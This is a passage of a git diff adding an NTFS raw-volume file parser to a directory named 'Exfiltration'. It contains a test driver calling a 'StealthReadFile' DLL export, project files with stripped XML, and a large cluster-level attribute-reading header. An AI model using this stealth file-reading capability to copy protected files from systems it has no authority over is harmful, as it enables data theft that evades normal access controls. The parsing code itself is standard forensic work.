+ * This program/include file is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as published + * by the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program/include file is distributed in the hope that it will be + * useful, but WITHOUT ANY WARRANTY; without even the implied warranty + * of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#ifndef __NTFS_H_CYB70289 +#define __NTFS_H_CYB70289 + +#pragma pack(8) + +#include "NTFS_Common.h" +#include "NTFS_FileRecord.h" +#include "NTFS_Attribute.h" + +#pragma pack() + +#endif diff --git a/Exfiltration/NTFSParser/NTFSParser/NTFSParser.cpp b/Exfiltration/NTFSParser/NTFSParser/NTFSParser.cpp new file mode 100644 index 0000000..843631b --- /dev/null +++ b/Exfiltration/NTFSParser/NTFSParser/NTFSParser.cpp @@ -0,0 +1,49 @@ +/* + * + * Copyright(C) 2013 Joe Bialek Twitter:@JosephBialek + * + * This program/include file is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as published + * by the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program/include file is distributed in the hope that it will be + * useful, but WITHOUT ANY WARRANTY; without even the implied warranty + * of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ +// +// This code uses libraries released under GPLv2(or later) written by cyb70289 + +#include "stdafx.h" +#include "NTFS.h" +#include "NTFS_Attribute.h" +#include "NTFS_Common.h" +#include "NTFS_DataType.h" +#include "NTFS_FileRecord.h" + +using namespace std; + +typedef DWORD (CDECL *StealthReadFile_Func)(string, BYTE*, DWORD, ULONGLONG, DWORD*, ULONGLONG*); + +int _tmain(int argc, _TCHAR* argv[]) +{ + HMODULE parserDLLHandle = LoadLibraryA("NTFSParserDLL.dll"); + HANDLE procAddress = GetProcAddress(parserDLLHandle, "StealthReadFile"); + + StealthReadFile_Func StealthReadFile = (StealthReadFile_Func)procAddress; + + DWORD buffSize = 1024*1024; + BYTE* buffer = new BYTE[buffSize]; + DWORD bytesRead = 0; + ULONGLONG bytesLeft = 0; + DWORD ret = StealthReadFile("c:\\test\\test.txt", buffer, buffSize, 0, &bytesRead, &bytesLeft); + + cout << "Return value: " << ret << endl; + + ofstream myFile("c:\\test\\test2.txt", ios::out | ios::binary); + myFile.write((char*)buffer, bytesRead); + + return 0; +} + diff --git a/Exfiltration/NTFSParser/NTFSParser/NTFSParser.vcxproj b/Exfiltration/NTFSParser/NTFSParser/NTFSParser.vcxproj new file mode 100644 index 0000000..e48d650 --- /dev/null +++ b/Exfiltration/NTFSParser/NTFSParser/NTFSParser.vcxproj @@ -0,0 +1,165 @@ + + + + + Debug + Win32 + + + Debug + x64 + + + Release + Win32 + + + Release + x64 + + + + {2F38A7A9-D810-451B-BB19-273770AF4D25} + Win32Proj + NTFSParser + + + + Application + true + v110 + NotSet + + + Application + true + v110 + NotSet + + + Application + false + v110 + true + Unicode + + + Application + false + v110 + true + Unicode + + + + + + + + + + + + + + + + + + + true + + + true + + + false + + + false + + + + Use + Level3 + Disabled + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + false + + + Console + true + + + + + Use + Level3 + Disabled + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + false + + + Console + true + + + + + Level3 + Use + MaxSpeed + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + Level3 + Use + MaxSpeed + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + + + + + + + + + + + + + + Create + Create + Create + Create + + + + + + \ No newline at end of file diff --git a/Exfiltration/NTFSParser/NTFSParser/NTFSParser.vcxproj.filters b/Exfiltration/NTFSParser/NTFSParser/NTFSParser.vcxproj.filters new file mode 100644 index 0000000..db46161 --- /dev/null +++ b/Exfiltration/NTFSParser/NTFSParser/NTFSParser.vcxproj.filters @@ -0,0 +1,51 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hpp;hxx;hm;inl;inc;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + + + Source Files + + + Source Files + + + \ No newline at end of file diff --git a/Exfiltration/NTFSParser/NTFSParser/NTFS_Attribute.h b/Exfiltration/NTFSParser/NTFSParser/NTFS_Attribute.h new file mode 100644 index 0000000..19ab7ce --- /dev/null +++ b/Exfiltration/NTFSParser/NTFSParser/NTFS_Attribute.h @@ -0,0 +1,1663 @@ +/* + * NTFS Attribute Classes + * + * Copyright(C) 2010 cyb70289 + * + * This program/include file is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as published + * by the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program/include file is distributed in the hope that it will be + * useful, but WITHOUT ANY WARRANTY; without even the implied warranty + * of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#ifndef __NTFS_ATTRIBUTE_H_CYB70289 +#define __NTFS_ATTRIBUTE_H_CYB70289 + + +//////////////////////////////// +// List to hold parsed DataRuns +//////////////////////////////// +typedef struct tagDataRun_Entry +{ + LONGLONG LCN; // -1 to indicate sparse data + ULONGLONG Clusters; + ULONGLONG StartVCN; + ULONGLONG LastVCN; +} DataRun_Entry; +typedef class CSList CDataRunList; + +//////////////////////////////////// +// List to hold Index Entry objects +//////////////////////////////////// +class CIndexEntry; +typedef class CSList CIndexEntryList; + + +//////////////////////////////// +// Attributes base class +//////////////////////////////// +class CAttrBase +{ +public: + CAttrBase(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr); + virtual ~CAttrBase(); + +protected: + const ATTR_HEADER_COMMON *AttrHeader; + WORD _SectorSize; + DWORD _ClusterSize; + DWORD _IndexBlockSize; + HANDLE _hVolume; + const CFileRecord *FileRecord; + +public: + __inline const ATTR_HEADER_COMMON* GetAttrHeader() const; + __inline DWORD GetAttrType() const; + __inline DWORD GetAttrTotalSize() const; + __inline BOOL IsNonResident() const; + __inline WORD GetAttrFlags() const; + int GetAttrName(char *buf, DWORD bufLen) const; + int GetAttrName(wchar_t *buf, DWORD bufLen) const; + __inline BOOL IsUnNamed() const; + +protected: + virtual __inline BOOL IsDataRunOK() const = 0; + +public: + virtual __inline ULONGLONG GetDataSize(ULONGLONG *allocSize = NULL) const = 0; + virtual BOOL ReadData(const ULONGLONG &offset, void *bufv, DWORD bufLen, DWORD *actural) const = 0; +}; // CAttrBase + +CAttrBase::CAttrBase(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr) +{ + _ASSERT(ahc); + _ASSERT(fr); + + AttrHeader = ahc; + FileRecord = fr; + + _SectorSize = fr->Volume->SectorSize; + _ClusterSize = fr->Volume->ClusterSize; + _IndexBlockSize = fr->Volume->IndexBlockSize; + _hVolume = fr->Volume->hVolume; +} + +CAttrBase::~CAttrBase() +{ +} + +__inline const ATTR_HEADER_COMMON* CAttrBase::GetAttrHeader() const +{ + return AttrHeader; +} + +__inline DWORD CAttrBase::GetAttrType() const +{ + return AttrHeader->Type; +} + +__inline DWORD CAttrBase::GetAttrTotalSize() const +{ + return AttrHeader->TotalSize; +} + +__inline BOOL CAttrBase::IsNonResident() const +{ + return AttrHeader->NonResident; +} + +__inline WORD CAttrBase::GetAttrFlags() const +{ + return AttrHeader->Flags; +} + +// Get ANSI Attribute name +// Return 0: Unnamed, <0: buffer too small, -buffersize, >0 Name length +int CAttrBase::GetAttrName(char *buf, DWORD bufLen) const +{ + if (AttrHeader->NameLength) + { + if (bufLen < AttrHeader->NameLength) + return -1*AttrHeader->NameLength; // buffer too small + + wchar_t *namePtr = (wchar_t*)((BYTE*)AttrHeader + AttrHeader->NameOffset); + int len = WideCharToMultiByte(CP_ACP, 0, namePtr, AttrHeader->NameLength, + buf, bufLen, NULL, NULL); + if (len) + { + buf[len] = '\0'; + NTFS_TRACE1("Attribute name: %s\n", buf); + return len; + } + else + { + NTFS_TRACE("Unrecognized attribute name or Name buffer too small\n"); + return -1*AttrHeader->NameLength; + } + } + else + { + NTFS_TRACE("Attribute is unnamed\n"); + return 0; + } +} + +// Get UNICODE Attribute name +// Return 0: Unnamed, <0: buffer too small, -buffersize, >0 Name length +int CAttrBase::GetAttrName(wchar_t *buf, DWORD bufLen) const +{ + if (AttrHeader->NameLength) + { + if (bufLen < AttrHeader->NameLength) + return -1*AttrHeader->NameLength; // buffer too small + + bufLen = AttrHeader->NameLength; + wchar_t *namePtr = (wchar_t*)((BYTE*)AttrHeader + AttrHeader->NameOffset); + wcsncpy(buf, namePtr, bufLen); + buf[bufLen] = '\0\0'; + + NTFS_TRACE("Unicode Attribute Name\n"); + return bufLen; + } + else + { + NTFS_TRACE("Attribute is unnamed\n"); + return 0; + } +} + +// Verify if this attribute is unnamed +// Useful in analyzing MultiStream files +__inline BOOL CAttrBase::IsUnNamed() const +{ + return (AttrHeader->NameLength == 0); +} + + +//////////////////////////////// +// Resident Attributes +//////////////////////////////// +class CAttrResident : public CAttrBase +{ +public: + CAttrResident(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr); + virtual ~CAttrResident(); + +protected: + const ATTR_HEADER_RESIDENT *AttrHeaderR; + const void *AttrBody; // Points to Resident Data + DWORD AttrBodySize; // Attribute Data Size + + virtual __inline BOOL IsDataRunOK() const; + +public: + virtual __inline ULONGLONG GetDataSize(ULONGLONG *allocSize = NULL) const; + virtual BOOL ReadData(const ULONGLONG &offset, void *bufv, DWORD bufLen, DWORD *actural) const; +}; // CAttrResident + +CAttrResident::CAttrResident(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr) : CAttrBase(ahc, fr) +{ + AttrHeaderR = (ATTR_HEADER_RESIDENT*)ahc; + AttrBody = (void*)((BYTE*)AttrHeaderR + AttrHeaderR->AttrOffset); + AttrBodySize = AttrHeaderR->AttrSize; +} + +CAttrResident::~CAttrResident() +{ +} + +__inline BOOL CAttrResident::IsDataRunOK() const +{ + return TRUE; // Always OK for a resident attribute +} + +// Return Actural Data Size +// *allocSize = Allocated Size +__inline ULONGLONG CAttrResident::GetDataSize(ULONGLONG *allocSize) const +{ + if (allocSize) + *allocSize = AttrBodySize; + + return (ULONGLONG)AttrBodySize; +} + +// Read "bufLen" bytes from "offset" into "bufv" +// Number of bytes acturally read is returned in "*actural" +BOOL CAttrResident::ReadData(const ULONGLONG &offset, void *bufv, DWORD bufLen, DWORD *actural) const +{ + _ASSERT(bufv); + + *actural = 0; + if (bufLen == 0) + return TRUE; + + DWORD offsetd = (DWORD)offset; + if (offsetd >= AttrBodySize) + return FALSE; // offset parameter error + + if ((offsetd + bufLen) > AttrBodySize) + *actural = AttrBodySize - offsetd; // Beyond scope + else + *actural = bufLen; + + memcpy(bufv, (BYTE*)AttrBody + offsetd, *actural); + + return TRUE; +} + + +//////////////////////////////// +// NonResident Attributes +//////////////////////////////// +class CAttrNonResident : public CAttrBase +{ +public: + CAttrNonResident(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr); + virtual ~CAttrNonResident(); + +protected: + const ATTR_HEADER_NON_RESIDENT *AttrHeaderNR; + CDataRunList DataRunList; + +private: + BOOL bDataRunOK; + BYTE *UnalignedBuf; // Buffer to hold not cluster aligned data + BOOL PickData(const BYTE **dataRun, LONGLONG *length, LONGLONG *LCNOffset); + BOOL ParseDataRun(); + BOOL ReadClusters(void *buf, DWORD clusters, LONGLONG lcn); + BOOL ReadVirtualClusters(ULONGLONG vcn, DWORD clusters, + void *bufv, DWORD bufLen, DWORD *actural); + +protected: + virtual __inline BOOL IsDataRunOK() const; + +public: + virtual __inline ULONGLONG GetDataSize(ULONGLONG *allocSize = NULL) const; + virtual BOOL ReadData(const ULONGLONG &offset, void *bufv, DWORD bufLen, DWORD *actural) const; +}; // CAttrNonResident + +CAttrNonResident::CAttrNonResident(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr) : CAttrBase(ahc, fr) +{ + AttrHeaderNR = (ATTR_HEADER_NON_RESIDENT*)ahc; + + UnalignedBuf = new BYTE[_ClusterSize]; + + bDataRunOK = ParseDataRun(); +} + +CAttrNonResident::~CAttrNonResident() +{ + delete UnalignedBuf; + + DataRunList.RemoveAll(); +} + +// Parse a single DataRun unit +BOOL CAttrNonResident::PickData(const BYTE **dataRun, LONGLONG *length, LONGLONG *LCNOffset) +{ + BYTE size = **dataRun; + (*dataRun)++; + int lengthBytes = size & 0x0F; + int offsetBytes = size >> 4; + + if (lengthBytes > 8 || offsetBytes > 8) + { + NTFS_TRACE1("DataRun decode error 1: 0x%02X\n", size); + return FALSE; + } + + *length = 0; + memcpy(length, *dataRun, lengthBytes); + if (*length < 0) + { + NTFS_TRACE1("DataRun length error: %I64d\n", *length); + return FALSE; + } + + (*dataRun) += lengthBytes; + *LCNOffset = 0; + if (offsetBytes) // Not Sparse File + { + if ((*dataRun)[offsetBytes-1] & 0x80) + *LCNOffset = -1; + memcpy(LCNOffset, *dataRun, offsetBytes); + + (*dataRun) += offsetBytes; + } + + return TRUE; +} + +// Travers DataRun and insert into a link list +BOOL CAttrNonResident::ParseDataRun() +{ + NTFS_TRACE("Parsing Non Resident DataRun\n"); + NTFS_TRACE2("Start VCN = %I64u, End VCN = %I64u\n", + AttrHeaderNR->StartVCN, AttrHeaderNR->LastVCN); + + const BYTE *dataRun = (BYTE*)AttrHeaderNR + AttrHeaderNR->DataRunOffset; + LONGLONG length; + LONGLONG LCNOffset; + LONGLONG LCN = 0; + ULONGLONG VCN = 0; + + while (*dataRun) + { + if (PickData(&dataRun, &length, &LCNOffset)) + { + LCN += LCNOffset; + if (LCN < 0) + { + NTFS_TRACE("DataRun decode error 2\n"); + return FALSE; + } + + NTFS_TRACE2("Data length = %I64d clusters, LCN = %I64d", length, LCN); + NTFS_TRACE(LCNOffset == 0 ? ", Sparse Data\n" : "\n"); + + // Store LCN, Data size (clusters) into list + DataRun_Entry *dr = new DataRun_Entry; + dr->LCN = (LCNOffset == 0) ? -1 : LCN; + dr->Clusters = length; + dr->StartVCN = VCN; + VCN += length; + dr->LastVCN = VCN - 1; + + if (dr->LastVCN <= (AttrHeaderNR->LastVCN - AttrHeaderNR->StartVCN)) + { + DataRunList.InsertEntry(dr); + } + else + { + NTFS_TRACE("DataRun decode error: VCN exceeds bound\n"); + + // Remove entries + DataRunList.RemoveAll(); + + return FALSE; + } + } + else + break; + } + + return TRUE; +} + +// Read clusters from disk, or sparse data +// *actural = Clusters acturally read +BOOL CAttrNonResident::ReadClusters(void *buf, DWORD clusters, LONGLONG lcn) +{ + if (lcn == -1) // sparse data + { + NTFS_TRACE("Sparse Data, Fill the buffer with 0\n"); + + // Fill the buffer with 0 + memset(buf, 0, clusters * _ClusterSize); + + return TRUE; + } + + LARGE_INTEGER addr; + DWORD len; + + addr.QuadPart = lcn * _ClusterSize; + len = SetFilePointer(_hVolume, addr.LowPart, &addr.HighPart, FILE_BEGIN); + + if (len == (DWORD)-1 && GetLastError() != NO_ERROR) + { + NTFS_TRACE1("Cannot locate cluster with LCN %I64d\n", lcn); + } + else + { + if (ReadFile(_hVolume, buf, clusters*_ClusterSize, &len, NULL) && + len == clusters*_ClusterSize) + { + NTFS_TRACE2("Successfully read %u clusters from LCN %I64d\n", clusters, lcn); + return TRUE; + } + else + { + NTFS_TRACE1("Cannot read cluster with LCN %I64d\n", lcn); + } + } + + return FALSE; +} + +// Read Data, cluster based +// clusterNo: Begnning cluster Number +// clusters: Clusters to read +// bufv, bufLen: Returned data +// *actural = Number of bytes acturally read +BOOL CAttrNonResident::ReadVirtualClusters(ULONGLONG vcn, DWORD clusters, + void *bufv, DWORD bufLen, DWORD *actural) +{ + _ASSERT(bufv); + _ASSERT(clusters); + + *actural = 0; + BYTE *buf = (BYTE*)bufv; + + // Verify if clusters exceeds DataRun bounds + if (vcn + clusters > (AttrHeaderNR->LastVCN - AttrHeaderNR->StartVCN +1)) + { + NTFS_TRACE("Cluster exceeds DataRun bounds\n"); + return FALSE; + } + + // Verify buffer size + if (bufLen < clusters*_ClusterSize) + { + NTFS_TRACE("Buffer size too small\n"); + return FALSE; + } + + // Traverse the DataRun List to find the according LCN + const DataRun_Entry *dr = DataRunList.FindFirstEntry(); + while(dr) + { + if (vcn>=dr->StartVCN && vcn<=dr->LastVCN) + { + DWORD clustersToRead; + + ULONGLONG vcns = dr->LastVCN - vcn + 1; // Clusters from read pointer to the end + + if ((ULONGLONG)clusters > vcns) // Fragmented data, we must go on + clustersToRead = (DWORD)vcns; + else + clustersToRead = clusters; + if (ReadClusters(buf, clustersToRead, dr->LCN+(vcn-dr->StartVCN))) + { + buf += clustersToRead*_ClusterSize; + clusters -= clustersToRead; + *actural += clustersToRead; + vcn += clustersToRead; + } + else + break; + + if (clusters == 0) + break; + } + + dr = DataRunList.FindNextEntry(); + } + + *actural *= _ClusterSize; + return TRUE; +} + +// Judge if the DataRun is successfully parsed +__inline BOOL CAttrNonResident::IsDataRunOK() const +{ + return bDataRunOK; +} + +// Return Actural Data Size +// *allocSize = Allocated Size +__inline ULONGLONG CAttrNonResident::GetDataSize(ULONGLONG *allocSize) const +{ + if (allocSize) + *allocSize = AttrHeaderNR->AllocSize; + + return AttrHeaderNR->RealSize; +} + +// Read "bufLen" bytes from "offset" into "bufv" +// Number of bytes acturally read is returned in "*actural" +BOOL CAttrNonResident::ReadData(const ULONGLONG &offset, void *bufv, DWORD bufLen, DWORD *actural) const +{ + // Hard disks can only be accessed by sectors + // To be simple and efficient, only implemented cluster based accessing + // So cluster unaligned data address should be processed carefully here + + _ASSERT(bufv); + + *actural = 0; + if (bufLen == 0) + return TRUE; + + // Bounds check + if (offset > AttrHeaderNR->RealSize) + return FALSE; + if ((offset + bufLen) > AttrHeaderNR->RealSize) + bufLen = (DWORD)(AttrHeaderNR->RealSize - offset); + + DWORD len; + BYTE *buf = (BYTE*)bufv; + + // First cluster Number + ULONGLONG startVCN = offset / _ClusterSize; + // Bytes in first cluster + DWORD startBytes = _ClusterSize - (DWORD)(offset % _ClusterSize); + // Read first cluster + if (startBytes != _ClusterSize) + { + // First cluster, Unaligned + if (((CAttrNonResident*)this)->ReadVirtualClusters(startVCN, 1, UnalignedBuf, _ClusterSize, &len) + && len == _ClusterSize) + { + len = (startBytes < bufLen) ? startBytes : bufLen; + memcpy(buf, UnalignedBuf + _ClusterSize - startBytes, len); + buf += len; + bufLen -= len; + *actural += len; + startVCN++; + } + else + return FALSE; + } + if (bufLen == 0) + return TRUE; + + DWORD alignedClusters = bufLen / _ClusterSize; + if (alignedClusters) + { + // Aligned clusters + DWORD alignedSize = alignedClusters*_ClusterSize; + if (((CAttrNonResident*)this)->ReadVirtualClusters(startVCN, alignedClusters, buf, alignedSize, &len) + && len == alignedSize) + { + startVCN += alignedClusters; + buf += alignedSize; + bufLen %= _ClusterSize; + *actural += len; + + if (bufLen == 0) + return TRUE; + } + else + return FALSE; + } + + // Last cluster, Unaligned + if (((CAttrNonResident*)this)->ReadVirtualClusters(startVCN, 1, UnalignedBuf, _ClusterSize, &len) + && len == _ClusterSize) + { + memcpy(buf, UnalignedBuf, bufLen); + *actural += bufLen; + + return TRUE; + } + else + return FALSE; +} + + +/////////////////////////////////// +// Attribute: Standard Information +/////////////////////////////////// +class CAttr_StdInfo : public CAttrResident +{ +public: + CAttr_StdInfo(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr); + virtual ~CAttr_StdInfo(); + +private: + const ATTR_STANDARD_INFORMATION *StdInfo; + +public: + void GetFileTime(FILETIME *writeTm, FILETIME *createTm = NULL, FILETIME *accessTm = NULL) const; + __inline DWORD GetFilePermission() const; + __inline BOOL IsReadOnly() const; + __inline BOOL IsHidden() const; + __inline BOOL IsSystem() const; + __inline BOOL IsCompressed() const; + __inline BOOL IsEncrypted() const; + __inline BOOL IsSparse() const; + + static void UTC2Local(const ULONGLONG &ultm, FILETIME *lftm); +}; // CAttr_StdInfo + +CAttr_StdInfo::CAttr_StdInfo(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr) : CAttrResident(ahc, fr) +{ + NTFS_TRACE("Attribute: Standard Information\n"); + + StdInfo = (ATTR_STANDARD_INFORMATION*)AttrBody; +} + +CAttr_StdInfo::~CAttr_StdInfo() +{ + NTFS_TRACE("CAttr_StdInfo deleted\n"); +} + +// Change from UTC time to local time +void CAttr_StdInfo::GetFileTime(FILETIME *writeTm, FILETIME *createTm, FILETIME *accessTm) const +{ + UTC2Local(StdInfo->AlterTime, writeTm); + + if (createTm) + UTC2Local(StdInfo->CreateTime, createTm); + + if (accessTm) + UTC2Local(StdInfo->ReadTime, accessTm); +} + +__inline DWORD CAttr_StdInfo::GetFilePermission() const +{ + return StdInfo->Permission; +} + +__inline BOOL CAttr_StdInfo::IsReadOnly() const +{ + return ((StdInfo->Permission) & ATTR_STDINFO_PERMISSION_READONLY); +} + +__inline BOOL CAttr_StdInfo::IsHidden() const +{ + return ((StdInfo->Permission) & ATTR_STDINFO_PERMISSION_HIDDEN); +} + +__inline BOOL CAttr_StdInfo::IsSystem() const +{ + return ((StdInfo->Permission) & ATTR_STDINFO_PERMISSION_SYSTEM); +} + +__inline BOOL CAttr_StdInfo::IsCompressed() const +{ + return ((StdInfo->Permission) & ATTR_STDINFO_PERMISSION_COMPRESSED); +} + +__inline BOOL CAttr_StdInfo::IsEncrypted() const +{ + return ((StdInfo->Permission) & ATTR_STDINFO_PERMISSION_ENCRYPTED); +} + +__inline BOOL CAttr_StdInfo::IsSparse() const +{ + return ((StdInfo->Permission) & ATTR_STDINFO_PERMISSION_SPARSE); +} + +// UTC filetime to Local filetime +void CAttr_StdInfo::UTC2Local(const ULONGLONG &ultm, FILETIME *lftm) +{ + LARGE_INTEGER fti; + FILETIME ftt; + + fti.QuadPart = ultm; + ftt.dwHighDateTime = fti.HighPart; + ftt.dwLowDateTime = fti.LowPart; + + if (!FileTimeToLocalFileTime(&ftt, lftm)) + *lftm = ftt; +} + + +//////////////////////////////////////// +// FileName helper class +// used by FileName and IndexEntry +//////////////////////////////////////// +class CFileName +{ +public: + CFileName(ATTR_FILE_NAME *fn = NULL); + virtual ~CFileName(); + +protected: + const ATTR_FILE_NAME *FileName; // May be NULL for an IndexEntry + wchar_t *FileNameWUC; // Uppercase Unicode File Name, used to compare file names + int FileNameLength; + BOOL IsCopy; + + __inline void SetFileName(ATTR_FILE_NAME *fn); + void CFileName::CopyFileName(const CFileName *fn, const ATTR_FILE_NAME *afn); + +private: + void GetFileNameWUC(); + +public: + int Compare(const wchar_t *fn) const; + int Compare(const char *fn) const; + + __inline ULONGLONG GetFileSize() const; + __inline DWORD GetFilePermission() const; + __inline BOOL IsReadOnly() const; + __inline BOOL IsHidden() const; + __inline BOOL IsSystem() const; + __inline BOOL IsDirectory() const; + __inline BOOL IsCompressed() const; + __inline BOOL IsEncrypted() const; + __inline BOOL IsSparse() const; + + int GetFileName(char *buf, DWORD bufLen) const; + int GetFileName(wchar_t *buf, DWORD bufLen) const; + __inline BOOL HasName() const; + __inline BOOL IsWin32Name() const; + + void GetFileTime(FILETIME *writeTm, FILETIME *createTm = NULL, FILETIME *accessTm = NULL) const; +}; // CFileName + +CFileName::CFileName(ATTR_FILE_NAME *fn) +{ + IsCopy = FALSE; + + FileName = fn; + + FileNameWUC = NULL; + FileNameLength = 0; + + if (fn) + GetFileNameWUC(); +} + +CFileName::~CFileName() +{ + if (FileNameWUC) + delete FileNameWUC; +} + +__inline void CFileName::SetFileName(ATTR_FILE_NAME *fn) +{ + FileName = fn; + + GetFileNameWUC(); +} + +// Copy pointer buffers +void CFileName::CopyFileName(const CFileName *fn, const ATTR_FILE_NAME *afn) +{ + if (!IsCopy) + { + NTFS_TRACE("Cannot call this routine\n"); + return; + } + + _ASSERT(fn && afn); + + NTFS_TRACE("FileName Copied\n"); + + if (FileNameWUC) + delete FileNameWUC; + + FileNameLength = fn->FileNameLength; + FileName = afn; + + if (fn->FileNameWUC) + { + FileNameWUC = new wchar_t[FileNameLength+1]; + wcsncpy(FileNameWUC, fn->FileNameWUC, FileNameLength); + FileNameWUC[FileNameLength] = wchar_t('\0'); + } + else + FileNameWUC = NULL; +} + +// Get uppercase unicode filename and store it in a buffer +void CFileName::GetFileNameWUC() +{ +#ifdef _DEBUG + char fna[MAX_PATH]; + GetFileName(fna, MAX_PATH); // Just show filename in debug window +#endif + + if (FileNameWUC) + { + delete FileNameWUC; + FileNameWUC = NULL; + FileNameLength = 0; + } + + wchar_t fns[MAX_PATH]; + FileNameLength = GetFileName(fns, MAX_PATH); + + if (FileNameLength > 0) + { + FileNameWUC = new wchar_t[FileNameLength+1]; + for (int i=0; i MAX_PATH) + return 1; // Assume bigger + + wchar_t fns[MAX_PATH]; + + for (int i=0; iRealSize : 0; +} + +__inline DWORD CFileName::GetFilePermission() const +{ + return FileName ? FileName->Flags : 0; +} + +__inline BOOL CFileName::IsReadOnly() const +{ + return FileName ? ((FileName->Flags) & ATTR_FILENAME_FLAG_READONLY) : FALSE; +} + +__inline BOOL CFileName::IsHidden() const +{ + return FileName ? ((FileName->Flags) & ATTR_FILENAME_FLAG_HIDDEN) : FALSE; +} + +__inline BOOL CFileName::IsSystem() const +{ + return FileName ? ((FileName->Flags) & ATTR_FILENAME_FLAG_SYSTEM) : FALSE; +} + +__inline BOOL CFileName::IsDirectory() const +{ + return FileName ? ((FileName->Flags) & ATTR_FILENAME_FLAG_DIRECTORY) : FALSE; +} + +__inline BOOL CFileName::IsCompressed() const +{ + return FileName ? ((FileName->Flags) & ATTR_FILENAME_FLAG_COMPRESSED) : FALSE; +} + +__inline BOOL CFileName::IsEncrypted() const +{ + return FileName ? ((FileName->Flags) & ATTR_FILENAME_FLAG_ENCRYPTED) : FALSE; +} + +__inline BOOL CFileName::IsSparse() const +{ + return FileName ? ((FileName->Flags) & ATTR_FILENAME_FLAG_SPARSE) : FALSE; +} + +// Get ANSI File Name +// Return 0: Unnamed, <0: buffer too small, -buffersize, >0 Name length +int CFileName::GetFileName(char *buf, DWORD bufLen) const +{ + if (FileName == NULL) + return 0; + + int len = 0; + + if (FileName->NameLength) + { + if (bufLen < FileName->NameLength) + return -1*FileName->NameLength; // buffer too small + + len = WideCharToMultiByte(CP_ACP, 0, (wchar_t*)FileName->Name, FileName->NameLength, + buf, bufLen, NULL, NULL); + if (len) + { + buf[len] = '\0'; + NTFS_TRACE1("File Name: %s\n", buf); + NTFS_TRACE4("File Permission: %s\t%c%c%c\n", IsDirectory()?"Directory":"File", + IsReadOnly()?'R':' ', IsHidden()?'H':' ', IsSystem()?'S':' '); + } + else + { + NTFS_TRACE("Unrecognized File Name or FileName buffer too small\n"); + } + } + + return len; +} + +// Get Unicode File Name +// Return 0: Unnamed, <0: buffer too small, -buffersize, >0 Name length +int CFileName::GetFileName(wchar_t *buf, DWORD bufLen) const +{ + if (FileName == NULL) + return 0; + + if (FileName->NameLength) + { + if (bufLen < FileName->NameLength) + return -1*FileName->NameLength; // buffer too small + + bufLen = FileName->NameLength; + wcsncpy(buf, (wchar_t*)FileName->Name, bufLen); + buf[bufLen] = wchar_t('\0'); + + return bufLen; + } + + return 0; +} + +__inline BOOL CFileName::HasName() const +{ + return FileNameLength > 0; +} + +__inline BOOL CFileName::IsWin32Name() const +{ + if (FileName == NULL || FileNameLength <= 0) + return FALSE; + + return (FileName->NameSpace != ATTR_FILENAME_NAMESPACE_DOS); // POSIX, WIN32, WIN32_DOS +} + +// Change from UTC time to local time +void CFileName::GetFileTime(FILETIME *writeTm, FILETIME *createTm, FILETIME *accessTm) const +{ + CAttr_StdInfo::UTC2Local(FileName ? FileName->AlterTime : 0, writeTm); + + if (createTm) + CAttr_StdInfo::UTC2Local(FileName ? FileName->CreateTime : 0, createTm); + + if (accessTm) + CAttr_StdInfo::UTC2Local(FileName ? FileName->ReadTime : 0, accessTm); +} + + +//////////////////////////////// +// Attribute: File Name +//////////////////////////////// +class CAttr_FileName : public CAttrResident, public CFileName +{ +public: + CAttr_FileName(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr) : CAttrResident(ahc, fr) + { + NTFS_TRACE("Attribute: File Name\n"); + + SetFileName((ATTR_FILE_NAME*)AttrBody); + } + + virtual ~CAttr_FileName() + { + NTFS_TRACE("CAttr_FileName deleted\n"); + } + +private: + // File permission and time in $FILE_NAME only updates when the filename changes + // So hide these functions to prevent user from getting the error information + // Standard Information and IndexEntry keeps the most recent file time and permission infomation + void GetFileTime(FILETIME *writeTm, FILETIME *createTm = NULL, FILETIME *accessTm = NULL) const {} + __inline DWORD GetFilePermission(){} + __inline BOOL IsReadOnly() const {} + __inline BOOL IsHidden() const {} + __inline BOOL IsSystem() const {} + __inline BOOL IsCompressed() const {} + __inline BOOL IsEncrypted() const {} + __inline BOOL IsSparse() const {} +}; // CAttr_FileName + + +////////////////////////////////// +// Attribute: Volume Information +////////////////////////////////// +class CAttr_VolInfo : public CAttrResident +{ +public: + CAttr_VolInfo(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr) : CAttrResident(ahc, fr) + { + NTFS_TRACE("Attribute: Volume Information\n"); + + VolInfo = (ATTR_VOLUME_INFORMATION*)AttrBody; + } + + virtual ~CAttr_VolInfo() + { + NTFS_TRACE("CAttr_VolInfo deleted\n"); + } + +private: + const ATTR_VOLUME_INFORMATION *VolInfo; + +public: + // Get 